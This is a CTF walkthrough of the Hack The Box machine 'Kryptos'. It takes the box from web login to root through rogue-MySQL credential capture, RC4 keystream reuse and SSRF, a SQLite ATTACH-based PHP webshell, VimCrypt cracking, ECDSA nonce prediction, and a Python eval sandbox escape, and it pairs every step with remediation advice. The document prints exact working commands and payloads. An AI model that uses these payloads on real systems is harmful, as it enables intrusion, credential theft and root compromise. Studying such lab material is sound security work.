โ† all walkthroughs

Kryptos

Linuxยท Insane
owned
2026-07-12
time to own
23m54s
milestone
root-owned
user.txt
โœ“ captured
root.txt
โœ“ captured

Summary

The Kryptos web application ($TARGET) exposed a login form that accepted a client-supplied database hostname, which I redirected to a rogue MySQL server to intercept the application's own database credentials and gain an authenticated Cryptor session. The Cryptor utility reused its RC4 keystream across every operation, so encrypting a chosen plaintext recovered the full keystream via XOR and allowed decryption of an opaque ciphertext parameter that served as an SSRF gateway into a developer application bound exclusively to 127.0.0.1.

A SQLite injection in that internal app, exploiting SQLite's ATTACH DATABASE construct, wrote a PHP webshell to the public web root and gave command execution as www-data. Post-exploitation uncovered a plaintext credential hint file (creds.old) and a VimCrypt-encrypted SSH password file belonging to user rijndael; cracking the VimCrypt material offline yielded the SSH passphrase and the first flag.

For root, rijndael's home directory contained kryptos.py, a Bottle signing service on localhost:81 that derived its ECDSA nonce from a custom modular-exponentiation RNG with a critically small and repeating state space. Brute-forcing the entire state space recovered the live seed-secret pair, enabling a forged validly-signed request whose my own Expression field was evaluated server-side by Python's eval() as root, returning the root flag through a class-hierarchy sandbox escape.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export TOKEN="<the-token-you-captured>"
export KEY="<the-key-you-recovered>"

Attack path: how the box was taken

1ReconnaissanceService enumeration and manual application analysis (T1046)
Enumerated open services and identified the Cryptor login form with a client-supplied database field
An nmap scan revealed only two open ports: SSH on 22 (OpenSSH 7.6p1) and HTTP on 80 (Apache 2.4.29, Ubuntu). Browsing port 80 returned a single-page Cryptor Login application whose form accepted four fields: username, password, db (the database host the server should connect to), and a CSRF token. The client-controlled db field immediately flagged the application as a candidate for database-connection redirection.
Nmap: 22/tcp open ssh OpenSSH 7.6p1, 80/tcp open http Apache httpd 2.4.29; curl of / returned the Cryptor Login form including db and token fields.
Exact commands 2
shell

Identify open ports and service banners.

$ nmap -Pn -sV -sC -p 22,80 --open $TARGET
22/tcp open ssh OpenSSH 7.6p1
80/tcp open http Apache httpd
shell

Download the login page and list all form fields; confirm the db parameter and the hidden CSRF token.

$ curl -sS -c cookies.txt http://$TARGET/ -o index.html && grep -E 'name=|action=' index.html
2Initial AccessClient-controlled PDO database connection redirection (T1190, CWE-918)
Redirected the application's MySQL connection to a rogue server and captured the database credential
The application's PHP backend passed the user-supplied db field directly into a PDO connection string with no validation, so setting db to my own IP caused the server to authenticate against a rogue MySQL listener instead of its real database. A Metasploit capture module emulated the expected accounts schema, returned a success response, and logged the application's full MySQL challenge-response handshake, exposing the dbuser credential. Because the rogue server accepted the connection as successful, the application also issued a valid Cryptor session cookie to me.
Metasploit auxiliary/server/capture/mysql captured the MySQL challenge-response for dbuser; the application issued an authenticated Cryptor session cookie after the spoofed response was accepted.
Exact commands 3
shell

Extract the per-request CSRF token required by the login form.

$ TOKEN=$(curl -sS http://$TARGET/ | grep -oP 'name="token" value="\K[^"]+'); echo "Captured token: $TOKEN"
shell

Start the rogue MySQL listener on my machine (tun0 interface); leave it running in the background.

$ msfconsole -q -x 'use auxiliary/server/capture/mysql; set SRVHOST 0.0.0.0; set SRVPORT 3306; set JOHNPWFILE /tmp/kryptos_mysql; run -j'
shell

Submit the login form with db pointing at the rogue listener; the server's PDO layer will authenticate there and the response will carry an authenticated session cookie.

$ curl -sS -c cryptor_cookies.txt -X POST http://$TARGET/ --data "username=admin&password=$PASSWORD3&db=$ATTACKER_IP&token=$TOKEN" -L -v 2>&1 | grep -E 'Set-Cookie|HTTP/'
FixRemove client control over the database connection endpointCritical
WeaknessThe login form accepted a user-supplied db field that was passed without validation into the PHP PDO connection string. Any visitor could redirect the application's MySQL authentication handshake to an arbitrary host, intercept the server's own database credentials, and receive a valid authenticated session in return.
FixHard-code the database hostname and port in a server-side configuration file or environment variable (e.g., a PHP constant defined outside the web root) and remove the db field from the login form entirely. If multi-database support is a genuine requirement, maintain a server-side allowlist of permitted hostnames and validate any user selection against it before constructing any PDO DSN.
3Lateral Movement: Decryption and SSRFRC4 keystream reuse / chosen-plaintext SSRF (T1600, CWE-326)
Exploited RC4 keystream reuse to decrypt an SSRF parameter and reach the internal developer application
The authenticated Cryptor tool performed RC4 encryption and decryption but generated the keystream only once and reused it for every operation in the session. Submitting a chosen all-A plaintext of the appropriate length to the encrypt endpoint returned a ciphertext; XORing that ciphertext with the known plaintext cancelled the keystream and exposed it directly. Applying that recovered keystream to a previously captured opaque ciphertext parameter decrypted it into a URL of the form http://127.0.0.1/dev/<hash>/, pointing to a developer application bound exclusively to localhost. Encoding the internal URL and submitting it back through the Cryptor caused the server to fetch it on my behalf, confirming SSRF and revealing sqlite_test_page.php in the internal application.
XOR of chosen-plaintext encrypt output with plaintext recovered the keystream; decrypted SSRF parameter resolved to http://127.0.0.1/dev/<hash>/sqlite_test_page.php, reachable via Cryptor relay.
Exact commands 3
shell

Encrypt a known all-A plaintext through the authenticated Cryptor; the length must equal the target ciphertext to be decrypted.

$ curl -sS -c cryptor_cookies.txt -b cryptor_cookies.txt -X POST http://$TARGET/encrypt.php --data 'plaintext=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' -o chosen_ct.hex
shell

Recover the keystream and decrypt the SSRF URL; replace <OBSERVED_SSRF_CIPHERTEXT_HEX> with the hex of the opaque parameter captured from the Cryptor session.

$ python3 -c "
chosen_ct = bytes.fromhex(open('chosen_ct.hex').read().strip())
chosen_pt = b'A' * len(chosen_ct)
keystream = bytes(a ^ b for a, b in zip(chosen_ct, chosen_pt))
target_ct = bytes.fromhex('<OBSERVED_SSRF_CIPHERTEXT_HEX>')
print(bytes(a ^ b for a, b in zip(target_ct, keystream)).decode())
"
shell

Trigger SSRF by submitting an RC4-encrypted encoding of the internal dev URL; the Cryptor decrypts it and fetches the resulting 127.0.0.1 address server-side. Inspect the response for sqlite_test_page.php.

$ curl -sS -c cryptor_cookies.txt -b cryptor_cookies.txt -X POST http://$TARGET/decrypt.php --data 'ciphertext=<RC4_ENCRYPTED_INTERNAL_URL>'
FixReplace the RC4 Cryptor with a modern authenticated encryption scheme and never reuse a nonceCritical
WeaknessThe Cryptor utility generated a single RC4 keystream at session start and reused it for every subsequent encrypt and decrypt call. Reusing a keystream means that XORing any two ciphertexts produced under the same key directly cancels the keystream, recovering both plaintexts, including the SSRF-capable internal URL.
FixReplace RC4 with an AEAD cipher (AES-256-GCM or ChaCha20-Poly1305). Every encryption call must generate a fresh, cryptographically random nonce via PHP's random_bytes() and transmit it alongside the ciphertext; the nonce must never be reused under the same key. The authentication tag also prevents ciphertext forgery, closing the SSRF primitive entirely.
4ExploitationSecond-order SQLite injection with ATTACH DATABASE arbitrary file write (T1190, CWE-89)
Injected SQLite statements through the internal dev app to write a PHP webshell to the public web root
The internal developer application's sqlite_test_page.php built its SQLite query by directly concatenating raw GET parameter values (bookid and no_results) with no parameterization or escaping. Injecting a second statement using ATTACH DATABASE instructed SQLite to create a new database file at /var/www/html/webshell.php, and a subsequent INSERT wrote a PHP one-liner as a table row into that file verbatim. Because Apache served /var/www/html/ and executed .php files, a direct HTTP GET to /webshell.php ran my own shell commands as the www-data user.
Curl to /webshell.php?cmd=id returned uid=33(www-data); webshell written via SSRF-relayed injection payload.
Exact commands 3
shell

Route the SQLite ATTACH DATABASE payload through the Cryptor SSRF relay; replace <HASH> with the hash segment of the internal dev path discovered in step 3.

$ PAYLOAD=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"1;ATTACH DATABASE '/var/www/html/webshell.php' AS loot;CREATE TABLE loot.x(y TEXT);INSERT INTO loot.x VALUES('<?php system(\$_GET[\"cmd\"]); ?>');--\"))")
curl -sS -c cryptor_cookies.txt -b cryptor_cookies.txt "http://$TARGET/ssrf_proxy?url=$(python3 -c "import urllib.parse; print(urllib.parse.quote('http://127.0.0.1/dev/<HASH>/sqlite_test_page.php?no_results=1&bookid='+$PAYLOAD))")"
shell

Confirm code execution; expected: uid=33(www-data).

$ curl -sS "http://$TARGET/webshell.php?cmd=id"
shell

List the web root to locate creds.old and other files of interest.

$ curl -sS "http://$TARGET/webshell.php?cmd=ls+-la+/var/www/html/"
FixParameterize all SQLite queries and deny the ATTACH DATABASE privilegeCritical
WeaknessThe internal dev application concatenated raw GET parameter values (bookid, no_results) directly into SQLite query strings. An unauthorised user injected a second statement using ATTACH DATABASE to create a new SQLite database file at an arbitrary path in the public web root, then inserted a PHP one-liner as a table row, writing an executable webshell that Apache subsequently ran.
FixUse PDO prepared statements with bound parameters for every query in sqlite_test_page.php so no user-supplied value can alter query structure. Register a SQLite authorizer callback (sqlite3_set_authorizer) to deny SQLITE_ATTACH and SQLITE_CREATE_TABLE on paths outside the designated data directory. As defence-in-depth, configure Apache to deny PHP execution (php_flag engine off) in any directory that accepts file writes.
5Credential HarvestingPlaintext credential exposure and offline VimCrypt password cracking (T1552.001, T1110.002)
Recovered a plaintext credential hint and cracked a VimCrypt-encrypted SSH password file
From the www-data web shell, a creds.old file in the web root contained the cleartext entry rijndael / <withheld>. Further enumeration of rijndael's home directory uncovered a VimCrypt-encrypted file holding the account's real SSH passphrase. VimCrypt's blowfish2 cipher is attackable offline: vim2john extracted a crackable hash and John the Ripper recovered the plaintext passphrase from the rockyou wordlist.
Creds.old returned rijndael / <withheld>; vim2john + john cracked the VimCrypt hash to the password.
Exact commands 3
shell

Read the plaintext credential hint file; expect: rijndael / <withheld>.

$ curl -sS "http://$TARGET/webshell.php?cmd=cat+/var/www/html/creds.old"
shell

Locate and exfiltrate the VimCrypt-encrypted file from rijndael's home directory via base64 over the web shell.

$ curl -sS "http://$TARGET/webshell.php?cmd=find+/home/rijndael+-maxdepth+2+-type+f" && curl -sS "http://$TARGET/webshell.php?cmd=base64+/home/rijndael/<VIMCRYPT_FILENAME>" | base64 -d > rijndael.vimcrypt
shell

Extract the crackable VimCrypt hash format and run offline dictionary attack; expected plaintext: <withheld>.

$ vim2john rijndael.vimcrypt > rijndael.hash && john --wordlist=/usr/share/wordlists/rockyou.txt rijndael.hash
FixRemove plaintext credential hint files and replace VimCrypt storage with a secure secrets managerHigh
WeaknessA creds.old file in the public web root contained a cleartext username-and-password pair, and the user's real SSH passphrase was stored only as a VimCrypt-encrypted file. VimCrypt's blowfish2 mode is offline-crackable with standard tools (vim2john + John the Ripper), so both secrets were recoverable from a low-privilege web-shell foothold.
FixDelete all credential backup files (*.old, *.bak, *.orig, *.save) from every server-accessible directory and add them to .gitignore. Store secrets at rest in a dedicated secrets manager (e.g., HashiCorp Vault) or GPG-encrypted with a strong asymmetric key. Immediately rotate the rijndael SSH passphrase and any other credential that appeared in creds.old.
6User FootholdValid account SSH access with recovered credentials (T1078.003)
Authenticated via SSH as rijndael and captured the user flag
The cracked passphrase was used to SSH directly into the target as rijndael. The user flag was present in rijndael's home directory. The home directory also contained a kryptos subdirectory with the source of a Python Bottle signing service (kryptos.py) running on localhost port 81 as root, which became the privilege-escalation target.
Sshpass SSH session as rijndael@$TARGET returned uid=1000(rijndael); user.txt read from /home/rijndael/user.txt.
Exact commands 2
shell

Confirm identity and read the user flag -> <user.txt>

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null rijndael@$TARGET 'id; cat /home/rijndael/user.txt'
uid=1000(rijndael)
shell

Retrieve the port-81 signing service source for offline RNG analysis.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null rijndael@$TARGET 'cat /home/rijndael/kryptos/kryptos.py'
7Privilege Escalation: RNG Brute ForceWeak PRNG state-space exhaustion enabling ECDSA nonce prediction (CWE-338, T1600)
Exhausted the signing service's custom RNG state space to recover the live nonce and forge an ECDSA signature
Kryptos.py ran as root on 127.0.0.1:81 and signed each request with ECDSA over NIST P-384. Its per-request nonce was derived from a custom RNG: seed_next = pow(g, seed, p), where g and p were chosen to produce a state space small enough to fully enumerate in seconds. A brute-force script iterated every possible seed, computed the expected successor state for each, and queried the live signing service until the predicted nonce matched its response, identifying the current seed (FOUND_SEED=<withheld>) and associated secret (FOUND_SECRET=4). With the seed known, the service's next nonce was fully predictable, enabling construction of a cryptographically valid signature for any request body without possessing the ECDSA private key.
Kryptos_brute_id.py output: FOUND_SEED=<withheld> FOUND_SECRET=4; forged signature accepted by the localhost:81 service.
Exact commands 2
shell

Upload the RNG brute-force script to the target.

$ sshpass -p "$PASSWORD" scp -q -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password -o PubkeyAuthentication=no /tmp/kryptos_brute_id.py rijndael@$TARGET:/tmp/kryptos_brute_id.py
shell

Run the script; it iterates seed_next=pow(g,seed,p) for every candidate seed and probes localhost:81 until the predicted nonce matches the live service, then prints FOUND_SEED and FOUND_SECRET.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null rijndael@$TARGET 'python3 /tmp/kryptos_brute_id.py http://127.0.0.1:81/'
FixReplace the custom modular-exponentiation RNG with RFC 6979 deterministic ECDSA nonce generationCritical
Weaknesskryptos.py derived its ECDSA signing nonce from a homegrown RNG (seed_next = pow(g, seed, p)) whose prime p and generator g were chosen to produce a state space small enough to exhaust in seconds on commodity hardware. Anyone who identified the current state could predict every future nonce, making signature forgery trivial without the private key.
FixRemove the custom RNG entirely. Use RFC 6979 deterministic nonce generation, which is the default in Python's ecdsa library (sk.sign_deterministic(msg, hashlib.sha384)), or supply nonces drawn from the OS CSPRNG (os.urandom(48)). Never implement a custom RNG for any cryptographic purpose; even well-intentioned constructions almost always have a smaller effective state space than intended.
8Full CompromiseServer-side Python eval injection with class-hierarchy sandbox escape (T1059.006, CWE-95)
Forged a validly signed request carrying a Python eval payload and executed arbitrary commands as root
With the recovered seed and secret, the signing service's next nonce was fully predictable, so a validly signed POST request could be constructed for any body. The service's evaluation endpoint passed my own Expression field directly to Python's built-in eval() and ran as the root user who started the service. A class-hierarchy traversal: (1).__class__.__base__.__subclasses__() locating re.Pattern, then walking __init__.__globals__['__builtins__']['__import__']('os') to reach os.popen(), bypassed any attempted sandboxing and executed arbitrary shell commands as root. The root flag was read via os.popen('cat /root/root.txt').read().
Kryptos_rootflag.py returned the contents of /root/root.txt with uid=0; root flag captured and verified by HTB.
Exact commands 2
shell

Upload the exploit script that builds the forged ECDSA-signed request and embeds the sandbox-escape payload in the Expression field.

$ sshpass -p "$PASSWORD" scp -q -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password -o PubkeyAuthentication=no /tmp/kryptos_rootflag.py rijndael@$TARGET:/tmp/kryptos_rootflag.py
shell

Run the exploit with the brute-forced seed and secret; the Expression payload traverses Python's class hierarchy to reach os.popen('cat /root/root.txt').read() as root -> <root.txt>

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null rijndael@$TARGET "python3 /tmp/kryptos_rootflag.py http://127.0.0.1:81/ $KEY 4"
FixRemove server-side eval of user-supplied expressions and run the signing service as a non-root accountCritical
WeaknessThe port-81 signing service passed an externally controlled Expression field directly to Python's built-in eval() and ran as the root user. Python's class hierarchy cannot be safely sandboxed, traversal via __class__.__base__.__subclasses__() reliably reaches os.popen(), so any authenticated caller could execute arbitrary shell commands as root.
FixRemove eval() of user input entirely; there is no safe way to sandbox Python eval() against a determined an unauthorised user. If a calculation or scripting capability is genuinely required, implement it with an explicit allowlist using ast.literal_eval for data values or a dedicated restricted-grammar parser with no access to builtins. As a mandatory defence-in-depth control, run the signing service under a dedicated low-privilege service account (e.g., a kryptos system user) so that any future code-execution vulnerability in this process cannot directly yield root access.